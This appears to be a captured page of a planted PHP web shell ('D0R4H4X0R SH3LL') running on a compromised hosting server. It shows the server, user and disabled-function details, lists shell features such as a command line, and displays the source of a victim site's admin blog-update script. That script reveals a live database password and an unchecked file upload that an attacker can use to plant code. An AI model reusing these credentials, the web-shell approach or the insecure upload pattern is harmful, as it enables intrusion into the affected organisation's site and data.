D0R4H4X0R SH3LL
Server Information
Server: |
LiteSpeed |
System: |
Linux ezra.momentumhosting.cloud 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64 |
User: |
equalcompa ( 1022 ) |
PHP Version: |
8.2.28 |
Python Version: |
Python is not available |
Disabled Functions: | Cron, Curl, Ftp, GCC, Mail, Mysql, PKEXEC, Perl, Python, SendMail, Ssh, Wget, dl, exec, passthru, popen, posix_getpwuid, posix_kill, posix_mkfifo, posix_setegid, posix_seteuid, posix_setgid, posix_setpgid, posix_setsid, posix_setuid, posix_uname, proc_close, proc_open, shell_exec, show_source, system |
Features
Command Line
Find Longest Directory Path
Scan New PHP Files
Current File : /home/equalcompa/domains/equalcompassion.org/public_html/admin-portal/update_blog.php
<?php
// Database connection settings
//$servername = "localhost"; // Database host
//$username = "root"; // Database username
//$password = ""; // Database password
//$dbname = "equal"; // Database name
$servername = "localhost";
$dbname = "equalcompa_site";
$username = "equalcompa_site";
$password = "LPdNucX5uWwZsG2tWvUM";
// Create the connection
$conn = new mysqli($servername, $username, $password, $dbname);
// Check the connection
if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error);
}
// Get the blog ID and old cover image from the request
$blogId = $_POST['blog_id'];
$oldCoverImage = $_POST['old_cover_image'];
// Retrieve form data
$title = $_POST['fname'];
$brief = $_POST['phone'];
$paragraphs = json_encode($_POST['paragraphs']);
// Check if a new cover image was uploaded
if (!empty($_FILES['cimage']['name'])) {
$coverImagePath = 'uploads/' . $_FILES['cimage']['name'];
move_uploaded_file($_FILES['cimage']['tmp_name'], $coverImagePath);
} else {
$coverImagePath = $oldCoverImage;
}
// Manage gallery images
$galleryImages = array_filter($_POST['existing_images'] ?? []); // Existing images that are not marked for removal
// Handle newly uploaded gallery images
if (!empty($_FILES['galleryImages']['name'][0])) {
foreach ($_FILES['galleryImages']['name'] as $key => $name) {
$filePath = 'uploads/' . $name;
if (move_uploaded_file($_FILES['galleryImages']['tmp_name'][$key], $filePath)) {
$galleryImages[] = $filePath;
}
}
}
// JSON-encode the gallery images array for storage
$galleryImagesJson = json_encode($galleryImages);
// Update query
$updateQuery = "UPDATE blogs SET
title = ?,
brief = ?,
paragraphs = ?,
cover_image = ?,
gallery_images = ?
WHERE id = ?";
$stmt = $conn->prepare($updateQuery);
$stmt->execute([$title, $brief, $paragraphs, $coverImagePath, $galleryImagesJson, $blogId]);
echo json_encode(["status" => "success", "message" => "Blog updated successfully"]);
?>
D0R4H4X0R SH3LL